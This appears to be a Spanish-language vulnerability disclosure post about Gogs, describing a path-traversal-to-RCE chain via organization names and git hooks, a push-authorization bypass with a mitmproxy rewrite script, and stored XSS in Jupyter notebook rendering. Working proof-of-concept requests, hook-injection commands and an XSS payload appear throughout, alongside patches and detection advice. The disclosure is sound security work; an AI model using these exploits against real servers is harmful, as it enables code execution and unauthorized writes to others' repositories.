Gogs es una plataforma de alojamiento de Git de código abierto, similar a GitHub o GitLab. La aplicación permite a los usuarios gestionar sus propios repositorios y organizaciones. En su funcionamiento interno, se basa en gran medida en el git CLI.
Hay un largo historial de vulnerabilidades de ejecución de código remoto (RCE) en Gogs; la mayoría tardan bastante en solucionarse y es necesario hacerlas públicas antes incluso de que salga una versión con el parche oficial. Este caso ha sido diferente. Tras unos meses de silencio, parece que los responsables del mantenimiento han retomado el trabajo para reforzar la seguridad de Gogs, ¡y todos nuestros informes se han solucionado a partir de la versión 0.14.3! Esperamos que esta tendencia continúe y que, con el tiempo, Gogs alcance un estado seguro. Sin embargo, actualmente sigue sin estar corregida una forma de eludir una vulnerabilidad que notificamos y que detectaron nuestros agentes de pruebas de penetración de IA. A continuación proporcionamos un parche de código manual para ello.
Esta entrada se centrará principalmente en la vulnerabilidad de ejecución remota de código (CVE-2026-52813), ya que es la más interesante desde el punto de vista técnico. Pero también explicaré un error lógico que permite escribir en repositorios de solo lectura (CVE-2026-52810), junto con una vulnerabilidad XSS en la biblioteca de renderizado de Jupyter que utilizaba Gogs (GHSA-6vxv-wg6j-5qwp).
¡Vamos a ello!
Recorrido de la ruta en el nombre de la organización
Empezaremos por cómo descubrimos la vulnerabilidad que, al mismo tiempo, fue la más impactante y la más interesante desde el punto de vista técnico: CVE-2026-52813 (GHSA-c39w-43gm-34h5).
En Aikido Attack, realizamos numerosas pruebas de penetración ( pentesting de IA ) en proyectos de código abierto, incluido Gogs. A continuación se incluye parte de un informe que recibimos de uno de nuestros agentes de pruebas de penetración:

Se mencionaba un recorrido de ruta en el nombre de usuario de la organización, al que solo se puede acceder mediante la API, que permite escribir fuera del directorio previsto en el resto del sistema de archivos.
Profundicemos un poco más en la causa principal de lo que se ha detectado para comprender mejor el problema. La parte más importante es esta función en repox.go:
func UserPath(user string) string {
return filepath.Join(conf.Repository.Root, strings.ToLower(user))
}
Determina en qué parte del sistema de archivos se almacenan los repositorios de cada usuario y, sencillamente, une el nombre de usuario con el directorio raíz de los repositorios configurado. Unir rutas sin un proceso de depuración siempre es arriesgado, ya que el sistema operativo admite ../ secuencias para salir de cualquier directorio, y lo mismo ocurre con esto .Join() en Go.
Afortunadamente para Gogs, estos nombres de usuario son desinfectado durante el registro mediante el AlphaDashDot restricción que solo permite letras, números y -_. caracteres. Esto hace que sea imposible registrar a un usuario con ../ en su nombre:
type Register struct {
UserName string `binding:"Required;AlphaDashDot;MaxSize(35)"`
Email string `binding:"Required;Email;MaxSize(254)"`
Password string `binding:"Required;MaxSize(255)"`
Retype string
}
Pero usuarios no son lo único que pasa por allí UserPath(). Organizaciones están igual de bien, y cuando analizamos su definición, no vemos que se haya realizado tal «limpieza» para el Nombre de usuario campo:
type createOrgRequest struct {
UserName string `json:"username" binding:"Required"`
FullName string `json:"full_name"`
Description string `json:"description"`
Website string `json:"website"`
Location string `json:"location"`
}
Esto significa que podemos crear una organización llamada ../../../../../tmp/test para hacer UserPath() para que vuelva /ruta/a/raíz/ + ../../../../../tmp/test = /tmp/test. Todos los repositorios que se creen dentro de la organización se guardarán en este nuevo directorio, situado fuera de la raíz.
Probémoslo en la práctica:
s = requests.Session()
# Get API token
r = s.post(f"{HOST}/api/v1/users/{USERNAME}/tokens",
auth=(USERNAME, PASSWORD),
json={"name": secrets.token_hex(12)}
)
r.raise_for_status()
sha1 = r.json().get("sha1")
s.headers.update({"Authorization": f"token {sha1}"})
# Create organization via API
org_name = "../../../../../tmp/test"
r = s.post(f"{HOST}/api/v1/user/orgs",
json={
"username": org_name,
"full_name": "path-traversal",
}
)
print(r.json()) # {'id': 4, 'username': '../../../../../tmp/test', 'full_name': 'deep', 'avatar_url': 'https://gogs.local/img/avatar_default.png', 'description': '', 'website': '', 'location': ''}
Ahora que ya se ha creado la organización, podemos ver una carpeta en su interior /tmp llamado prueba/:
$ ls -l /tmp
total 4
drwxr-xr-x 2 git git 4096 Jun 8 09:32 prueba
Para rellenarlo, ahora podemos crear un nuevo repositorio dentro de la organización maliciosa:
r = s.post(
f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos",
json={
"name": "repo1",
"description": "poc",
"private": False,
"auto_init": True,
"readme": "Default",
}
)
print(r.json()) # {'id': 1, 'owner': ..., 'name': 'repo1', 'full_name': '../../../../../tmp/test/repo1', 'description': 'poc', 'private': False, ...}
¡Éxito! Al volver a comprobar el sistema de archivos, encontramos el repo1.git La carpeta se ha creado en la ubicación que habíamos indicado:
$ ls -l /tmp/test/repo1.git
total 28
-rw-r--r-- 1 git git 23 de junio a las 09:41 HEAD
-rw-r--r-- 1 git git 66 8 de junio a las 09:41 config
-rw-r--r-- 1 git git 73 8 de junio a las 09:41 description
drwxr-xr-x 2 git git 4096 8 de junio a las 09:41 hooks
drwxr-xr-x 2 git git 4096 8 de junio a las 09:41 info
drwxr-xr-x 7 git git 4096 8 de junio a las 09:41 objects
drwxr-xr-x 4 git git 4096 8 de junio a las 09:41 refsEsto demuestra que tenemos algún tipo de recorrido de rutas que funciona. Aunque hemos inicializado el repositorio con un archivo README, este no es visible aquí en el sistema de archivos. Esto se debe a que lo que se almacena aquí es un repositorio vacío. Uno que solo contenga los archivos de metadatos de Git, sin «worktree». Gogs no necesita los archivos reales durante su funcionamiento habitual. Puede obtener todos los datos del archivo comprimido objetos y la estructura de este repositorio vacío.
Escribir archivos arbitrarios utilizando el contenido del repositorio de Git sería una función muy potente. Parece que tenemos un fallo de recorrido de rutas muy leve, en el que solo podemos crear esta estructura específica de metadatos de Git…
Un caso extremo es Edición de archivos en la interfaz de usuario de Gogs. Esto resultaría complicado de hacer solo con operaciones de Git, por lo que Gogs crea temporalmente un verdadero árbol de trabajo a nivel local en /data/gogs/data/tmp/local-r/ con un identificador incremental (2):
$ find / -name README.md 2>/dev/null
/data/gogs/data/tmp/local-r/2/README.md
Por fin hemos encontrado lo que habíamos creado README.md archivo aquí. Lamentablemente, esta ruta ya no contiene nuestro nombre de usuario, por lo que no podemos hacer que nuestra vulnerabilidad de recorrido de rutas escriba archivos arbitrarios. Podemos:
- Escribir repositorios «bare» (solo metadatos de Git) en cualquier lugar mediante el recorrido de rutas
- Crear árboles de trabajo (con archivos reales) únicamente en una ruta segura específica
¿Es eso suficiente para causar daños en una configuración predeterminada de Gogs? ¿Podríamos conseguir un RCE solo con esta escritura de archivo limitada?
RCE mediante «git config» en repositorios anidados
Fue entonces cuando nos hicimos cargo manualmente de la investigación, intentando llevar el hallazgo del agente sobre el recorrido de rutas hasta una ejecución de código remoto en toda regla.
Tenemos ciertas limitaciones en cuanto a lo que podemos hacer con esta vulnerabilidad. No podemos sobrescribir archivos existentes en ubicaciones arbitrarias, ya que no controlamos los nombres de los archivos en los metadatos de Git. Solo podemos crear un repositorio «bare» de este tipo en una ubicación arbitraria.
A modo de información previa, Git tiene «Ganchos» que son scripts configurados en el .git/hooks carpeta en la que se ejecutan cada vez que se realizan determinadas operaciones de Git. Por ejemplo, pre-commit se ejecuta justo antes de realizar una confirmación. O bien, en el servidor Actualización, que se ejecuta cada vez que se recibe una notificación push de un cliente.
Si un atacante consigue escribir en cualquiera de estas rutas de hook, es casi seguro que se producirá una ejecución remota de código (RCE), ya que la siguiente operación de Git activará la ejecución del script. Aprovecharemos esto para ejecutar comandos arbitrarios del sistema.
Sabemos que no podemos sobrescribir un .git/hooks archivo de otro repositorio con este recorrido de ruta. Pero, pensándolo mejor, ¿y si hacemos lo contrario?
Podemos crear un árbol de trabajo normal y, a continuación, colocar nuestro repositorio «bare» en su interior aprovechando la vulnerabilidad de recorrido de rutas.. A continuación, podemos editar el archivo hooks/actualización archivo del árbol de trabajo del repositorio habitual. Cuando luego lo subimos, se activa el hook y hemos conseguido la ejecución remota de código (RCE). Probémoslo en la práctica.
En primer lugar, crea un repositorio sencillo con el que más adelante editaremos archivos. Por ahora, solo creará un directorio en el sistema de archivos en /data/git/repositories/developer/editor.git (metadatos), aún no disponibles en /data/gogs/data/tmp/local-r/1/ (árbol de trabajo). Sabemos que, para crear este árbol de trabajo, basta con añadir cualquier archivo a través de la interfaz de usuario de Gogs.

Una vez hecho esto, se crea el árbol de trabajo con el ID del repositorio (obtenido mediante /api/v1/repos/:propietario/:repositorio).
$ ls -la /data/gogs/data/tmp/local-r/1
drwxr-xr-x 7 git git 4096 Jun 9 08:53 .git
-rw-r--r-- 1 git git 10 de junio 9 08:53 README.md
-rw------- 1 git git 5 de junio 9 08:53 maniquí
El siguiente paso es escribir nuestro recorrido de la ruta organización en esta carpeta editable. Crearemos una con el nombre ../../gogs/data/tmp/local-r/1 para guardarlo en la carpeta. A continuación, crea un repositorio dentro de ella.
org_name = "../../gogs/data/tmp/local-r/1"
r = s.post(f"{HOST}/api/v1/user/orgs", ...)
r = s.post(f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos", ...)Una vez hecho esto, el archivo creado recorrido El repositorio aparece en el árbol de trabajo:
$ ls -la
drwxr-xr-x 7 git git 4096 Jun 9 08:53 .git
-rw-r--r-- 1 git git 10 de junio 9 08:53 README.md
-rw------- 1 git git 5 de junio 9 08:53 dummy
drwxr-xr-x 6 git git 4096 Jun 9 11:45 traversal.git
$ cat traversal.git/config
[core]
repositoryformatversion = 0
modo de archivo = true
bare = trueSi recargamos el desarrollador/editor Ahora que la página está en Gogs, todavía no la vemos, porque el sistema de archivos aún no se ha sincronizado con la interfaz de usuario. Para ello, crearemos otro archivo ficticio. Entonces aparecerá y podremos incluso explorar sus archivos:

Parece que ahora podemos editar simplemente el hooks/actualización archivo como malicioso, pero cuando lo intentamos, Gogs muestra el siguiente error en la interfaz:
No se ha podido actualizar/crear el archivo «traversal.git/hooks/update» con error: error interno del servidorEn los registros del backend, vemos lo siguiente:
[ERROR] [...gs/internal/route/repo/editor.go:280 editFilePost()] No se ha podido actualizar el archivo del repositorio: ruta de árbol incorrecta «traversal.git/hooks/update»Por desgracia, hay un control que comprueba si alguna ruta que editemos contiene .git/, y nuestro traversal.git/hooks/update path sí que lo hace.
func (r *Repository) UpdateRepoFile(doer *User, opts UpdateRepoFileOptions) error {
// 🚨 SECURITY: Prevent uploading files into the ".git" directory.
if isRepositoryGitPath(opts.NewTreeName) {
return errors.Errorf("bad tree path %q", opts.NewTreeName)
}
...
}
func isRepositoryGitPath(path string) bool {
path = strings.ToLower(path)
return strings.HasSuffix(path, ".git") ||
strings.Contains(path, ".git/") ||
strings.Contains(path, `.git\`) ||
// Windows treats ".git." the same as ".git"
strings.HasSuffix(path, ".git.") ||
strings.Contains(path, ".git./") ||
strings.Contains(path, `.git.\`)
}
Así pues, el editor de la interfaz de usuario no permite editar nuestro repositorio anidado. Pero, ¿qué pasa con un «push» nativo de Git?
$ git clone https://gogs.local/developer/editor.git && cd editor
$ echo 'id>/tmp/pwned' >> traversal.git/hooks/update
$ git add .
$ git commit -m "actualización del hook"
$ git push
Nombre de usuario para «https://gogs.local»: developer
Contraseña para «https://developer@gogs.local»:
A https://gogs.local/developer/editor.git
8c7f89f..fe4cc1b master -> master
¡Funciona de maravilla! La comprobación es más flexible, ya que el nombre de un segmento de ruta debe coincidir exactamente con .git. Tenemos la suerte de que el nombre del repositorio sin nada más sea traversal.git y no .git, ya que el método de Git sigue permitiendo ese nombre.
Sube de nuevo otro archivo de prueba para actualizar el árbol de trabajo, ¡y ya podremos ver el archivo actualizado!

Ahora solo queda subir los cambios al repositorio «bare». Tenemos que hacerlo en el repositorio que se encuentra en la carpeta ../../ organización, lo cual resulta un poco incómodo en la interfaz de usuario. Pero a través de la API basta con codificar la ruta en formato URL para acceder a ella sin problemas. Activaremos otra subida de archivos para que, internamente, se realice un commit en un segundo árbol de trabajo y, a continuación, se envíe a un repositorio vacío (ambos en el mismo sistema de archivos; así es como funciona Git y cómo gestiona Gogs internamente sus repositorios).
r = s.put(
f"{HOST}/api/v1/repos/{org_enc}/traversal/contents/dummy4",
json={
"message": "trigger update hook",
"content": base64.b64encode(b"dummy4").decode(),
"branch": "master",
}
)
print(r.json()) # {'commit': {'url': 'http://4.245.3.4:13000/api/v1/repos/../../gogs/data/tmp/local-r/1/traversal/contents/dummy4', ...}, ...}
Tras esta incorporación al recorrido repositorio, se envía a /data/gogs/data/tmp/local-r/1/traversal.git, lo que provoca traversal.git/hooks/update. Lo hemos sobrescrito para que se ejecute id > /tmp/pwned posteriormente, y cuando comprobamos esta ruta, efectivamente encontramos la salida de id:
$ cat /tmp/pwned
uid=1000(git) gid=101(git) grupos=101(git)
Hemos logrado con éxito la ejecución remota de código en Gogs, ya que el git ¡Usuario!
Eludir la autorización de «push» mediante la confusión entre «receive» y «pack»
Volvamos a un tipo de vulnerabilidad totalmente distinto: CVE-2026-52810 (GHSA-wmfg-5p4h-5fw3). En lugar de complicadas inyecciones, se trata de un simple error lógico, aunque difícil de detectar manualmente. Todo ocurre dentro del código de bajo nivel Protocolo HTTP de Git, que Gogs implementa para cosas como git push a una operación de recompra.
En las «Inteligente» En este protocolo hay dos servicios: git-upload-pack (pídele al servidor que te lo envíe = tirar) y git-receive-pack (el servidor recibe nuevos datos de tu parte = push).
Estas dos operaciones tienen asociados permisos diferentes. Solo deberías poder push si tienes Escribir permiso, pero para un simple tirar, Leer Es suficiente. Gogs implementa esto en una especie de middleware para toda la lógica HTTP de Git:
func HTTPContexter(store Store) macaron.Handler {
...
isPull := c.Query("service") == "git-upload-pack" ||
strings.HasSuffix(c.Req.URL.Path, "git-upload-pack") ||
c.Req.Method == "GET"
...
mode := database.AccessModeWrite
if isPull {
mode = database.AccessModeRead
}
La solicitud se considera una operación de lectura (pull) si: servicio el parámetro de consulta o la ruta final es git-upload-pack.
A continuación, Gogs define los controladores para las acciones específicas:
{lazyregexp.New("(.*?)/git-upload-pack$"), "POST", serviceUploadPack},
{lazyregexp.New("(.*?)/git-receive-pack$"), "POST", serviceReceivePack},
Cabe destacar que no se hace mención alguna a un servicio parámetro de consulta aquí. Tras validar la autorización mediante una simple comprobación de cadena en la ruta, vuelve a analizar la ruta utilizando las expresiones regulares mencionadas anteriormente. Esto puede dar lugar fácilmente a discrepancias en las que el sistema de autorización lo interpreta como un Leer solicitud, mientras que el controlador asociado es un Escribir endpoint.
El servicio El parámetro de consulta estaba destinado a /refs/info, pero habilitado a nivel global para la autorización. Esto significa que podemos solicitar una ruta de /git-receive-pack con un parámetro ignorado de service=git-upload-pack. Gogs se confundirá y pensará que, debido al parámetro, esto debe de ser un leer solicitud. Pero cuando llega al controlador, ¡se acciona el punto final de escritura!
La verdad es que poner esto en práctica parece un poco complicado, porque el protocolo que utiliza Git para enviar confirmaciones es muy específico. Pero podemos crear simplemente un pequeño proxy que reescriba /git-receive-pack con /git-receive-pack?service=git-upload-pack Para eludir la comprobación:
from urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit
from mitmproxy import ctx, http
def request(flow: http.HTTPFlow) -> None:
u = urlsplit(flow.request.pretty_url)
if not u.path.endswith("/git-receive-pack"):
return
params = parse_qsl(u.query, keep_blank_values=True)
params.append(("service", "git-upload-pack"))
query = urlencode(params)
flow.request.url = urlunsplit((u.scheme, u.netloc, u.path, query, ""))
ctx.log.info(f"[poc] rewrite receive-pack -> {u.path}?{query}")
Este script se puede utilizar con mitmproxy. Una vez ejecutado, podemos configurar el http_proxy y https_proxy variables de entorno en otro terminal antes de ejecutar git comandos. Git redirigirá todas sus llamadas de red a través de nuestro script, que reescribe el /git-receive-pack para añadir el service=git-upload-pack parámetro de consulta.
Intentemos crear un repositorio en una cuenta, clonarlo y enviarlo con el proxy activo:
$ mitmdump -s mitmproxy_addon.py -p 1337
$ export http_proxy=http://127.0.0.1:1337
$ export https_proxy=http://127.0.0.1:1337
$ git clone https://gogs.local/victim/target.git && cd destino
$ echo POC > poc
$ git add .
$ git commit -m poc
$ git push
error: error en RPC; HTTP 500 curl 22 La URL solicitada ha devuelto el error: 500
send-pack: desconexión inesperada mientras leer el paquete de banda lateral
error grave: el extremo remoto se ha desconectado inesperadamente
¿500? Al revisar los registros del backend, ¡¿nos hemos encontrado con una referencia a un puntero nulo?!
[Macaron] PANIC: error de ejecución: dirección de memoria no válida o desreferencia de un puntero nulo
runtime/panic.go:336 (0x492697)
runtime/signal_unix.go:931 (0x492665)
gogs.io/gogs/internal/database/repo_editor.go:67 (0x1286642)
gogs.io/gogs/internal/route/repo/http.go:257 (0x142e5e5)
gogs.io/gogs/internal/route/repo/http.go:282 (0x142ed44)
gogs.io/gogs/internal/route/repo/http.go:425 (0x142fbae)
ninguno En Go es simplemente su versión de null. Si intentas leer una propiedad de un objeto que es ninguno, se produce una «desreferencia de puntero nulo». Si seguimos el código en internal/database/repo_editor.go:67, vemos que:
EnvAuthUserID + "=" + strconv.FormatInt(opts.AuthUser.ID, 10),
Parece que nuestro AuthUser no se había establecido. Más arriba en la cadena de llamadas, se supone que deberíamos obtenerlo desde el final de HTTPContexter():
func HTTPContexter(store Store) macaron.Handler {
...
c.Map(&HTTPContext{
Context: c,
OwnerName: ownerName,
OwnerSalt: owner.Salt,
RepoID: repo.ID,
RepoName: repoName,
AuthUser: authUser,
})
Pero debido a nuestro desvío, isPull es true, y este retorno anticipado es el primero en producirse:
func HTTPContexter(store Store) macaron.Handler {
...
// Authentication is not required for pulling from public repositories.
if isPull && !repo.IsPrivate && !conf.Auth.RequireSigninView {
c.Map(&HTTPContext{
Context: c,
})
return
}
Por eso, AuthUser no está definido, y cuando se intenta utilizarlo mediante recibir paquete, se cuelga. Por suerte, en el propio código fuente vemos algunas formas sencillas de solucionar esto:
- Si
repo.IsPrivate, se omite la condición - Si
conf.Auth.RequireSigninViewSi está activada, se omite la condición
Por lo tanto, la vulnerabilidad solo afecta a los repositorios que no son de acceso público. Si la variable global RequireSigninView Si la configuración está activada, toda la instancia es vulnerable. Para facilitar las pruebas, crearemos un repositorio privado e invitaremos al atacante como colaborador con acceso de solo lectura:

Al volver a probar el PoC, vemos que el atacante ahora es capaz de escribir correctamente en el repositorio:
$ git push
Nombre de usuario para «https://gogs.local»: atacante
Contraseña para «https://developer@gogs.local»:
...
Objetos de escritura: 100% (3/3), 507 bytes | 507,00 KiB/s, hecho.
Total 3 (delta 1), reutilizados 0 (delta 0), reutilizado en el paquete 0
A https://gogs.local/victim/target.git
62ef1eb..cb13c59 master -> master
El cambio también se refleja en la interfaz de usuario:

Con esta vulnerabilidad, un atacante puede escribir en cualquier repositorio para cuyo acceso sea necesario iniciar sesión. Si está conectado a CICD, podría provocar implementaciones maliciosas y, en general, ocultar malware.
Sin parches
Esta vulnerabilidad se solucionó en #8331 verificando qué rutas sirven para recibir datos y cuáles para enviarlos. Sin embargo, esto La corrección está incompleta porque la comprobación de /git-receive-pack no coincide /git-RECEIVE-pack (en mayúsculas), mientras que el enrutador posterior no distingue entre mayúsculas y minúsculas. Hemos informado del fallo de seguridad al responsable del mantenimiento, pero aún no hemos recibido respuesta en el momento de publicar esta entrada.
Aplica el siguiente parche de código fuente y vuelve a compilar Gogs para solucionar esta vulnerabilidad:
--- a/internal/route/repo/http.go
+++ b/internal/route/repo/http.go
@@ -62,8 +62,10 @@ func gitHTTPActionFromPath(urlPath, subpath, owner, repo string) string {
}
func gitHTTPIsPull(c *macaron.Context, action string) bool {
+ action = strings.ToLower(action)
si action == "info/refs" {
- devuelve c.Query("service") != "git-receive-pack"
+ return !strings.EqualFold(c.Query("service"), "git-receive-pack")
}
return action != "git-receive-pack"
}
XSS almacenado en archivos .ipynb
Por último, se trataba de un exploit sencillo, pero con un motivo interesante: GHSA-6vxv-wg6j-5qwp (aún sin CVE). ¡Si te hubieras limitado a leer el código, habrías pensado que debería estar debidamente saneado!
La mayoría de las interfaces de usuario de Git cuentan con métodos de visualización personalizados para determinados archivos, entre ellos los cuadernos de Jupyter (.ipynb archivos). Estos archivos están pensados para ser ejemplos interactivos de entrada y salida de código Python con descripciones en Markdown incrustadas en ellos.

Quizá te preguntes: ¿cómo lo están representando?
La respuesta: una versión muy desactualizada de notebookjs (0.4.2, siendo la más reciente la 0.8.0).
Prácticamente siempre que se habla de Markdown, se habla de HTML. El contenido HTML sin formato forma incluso parte de la especificación CommonMark, por lo que muchos programas de visualización lo implementan sin dudarlo. El problema para Gogs es que en este programa de visualización se introduce información no verificada (el contenido de los archivos de cualquier usuario).
En el código fuente, parece que se lleva a cabo algún tipo de limpieza por parte de Gogs:
$.getJSON("/siteadmin/ipynb/raw/master/test.ipynb", null, function(notebook_json) {
var notebook = nb.parse(notebook_json);
var rendered = notebook.render();
$.ajax({
type: "POST",
url: '/-/api/sanitize_ipynb',
data: rendered.outerHTML,
processData: false,
contentType: false,
}).done(function(data) {
$("#ipython-notebook").append(data);
...
El backend utiliza bluemonday, una biblioteca de sanitización muy reconocida que se encarga de depurar la salida de NotebookJS antes de añadir los datos al DOM. Así pues, una carga útil como <u>te<script>1</script>st</u> se convierte en <u>test</u>. Esto es seguro.
Sin embargo, se aprecia un problema en la propia biblioteca notebookjs. Durante la transformación de Markdown a HTML de las celdas Markdown, crea un elemento temporal y le asigna .innerHTML a ello:
var el = makeElement("div", ["cell", "markdown-cell"]);
el.innerHTML = nb.markdown(joinText(esto.raw.source))
Aunque sea no se ha añadido al DOM, basta con asignar el valor a cualquier variable temporal de JavaScript para activar eventos en el elemento. Para el <img> elemento, por ejemplo, su src= ya está cargado y puede fallar, lo que provocaría onerror=. Todo está dentro del propio NotebookJS.
Por ese motivo, una carga útil como la siguiente funcionará independientemente de lo que haga Gogs con la salida:
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"<img src onerror=alert(origin)>"
]
}
],
"metadata": {},
"nbformat": 4,
"nbformat_minor": 2
}
Ver el .ipynb El archivo ahora provoca un error de XSS al mostrarse:

El atacante puede colocar esos archivos en cualquier sitio, por ejemplo, en sus propios repositorios, en solicitudes de incorporación de cambios (pull requests) que se abren al hacer clic en «Ver archivo», o simplemente enviando a cualquier otro usuario un enlace directo a su archivo de carga útil.
Detección
Para comprobar si te ves afectado por la vulnerabilidad de ejecución remota de código (CVE-2026-52813), comprueba si tu versión de Gogs es la 0.14.2 o inferior. Aikido detecta esta versión en tu organización con una alerta «crítica»:

La vulnerabilidad de elusión de la autorización de push (CVE-2026-52810) no tiene ninguna versión oficialmente corregida. Actualmente, todas las versiones son vulnerables. Aikido detecta las instancias de Gogs con una alerta de «alto» nivel:

Conclusión
Como ya se ha comentado en numerosas ocasiones, integrar Git en una aplicación suele seguir siendo una tarea ambiciosa si se quiere llevar a cabo de forma segura. El sistema conlleva tantos riesgos en el sistema de archivos que los atacantes pueden aprovechar. Y lo que es peor, las consecuencias suelen ser críticas. Por eso es fundamental someter a pruebas exhaustivas este tipo de aplicaciones mediante pruebas de penetración.
Si se tarda un tiempo en corregir las vulnerabilidades una vez detectadas, esto deja un margen de tiempo considerable durante el cual se sabe que la aplicación es vulnerable a ataques. En la era de la IA, todo el mundo detecta vulnerabilidades. Los desarrolladores tienen la tarea de implementar correcciones más rápido que antes, por lo que debemos acostumbrarnos a acelerar también esta parte con herramientas como Aikido Autofix.
Además, podrás incluso validar las correcciones de forma autónoma con pentesting de IA y seguir lanzando funciones y mejoras que la gente realmente quiere.
Actualmente, Gogs no se mantiene de forma activa, por lo que es probable que haya vulnerabilidades sin solucionar. Recomendamos utilizar otra solución de Git autohospedada por el momento, hasta que se aclare la situación.

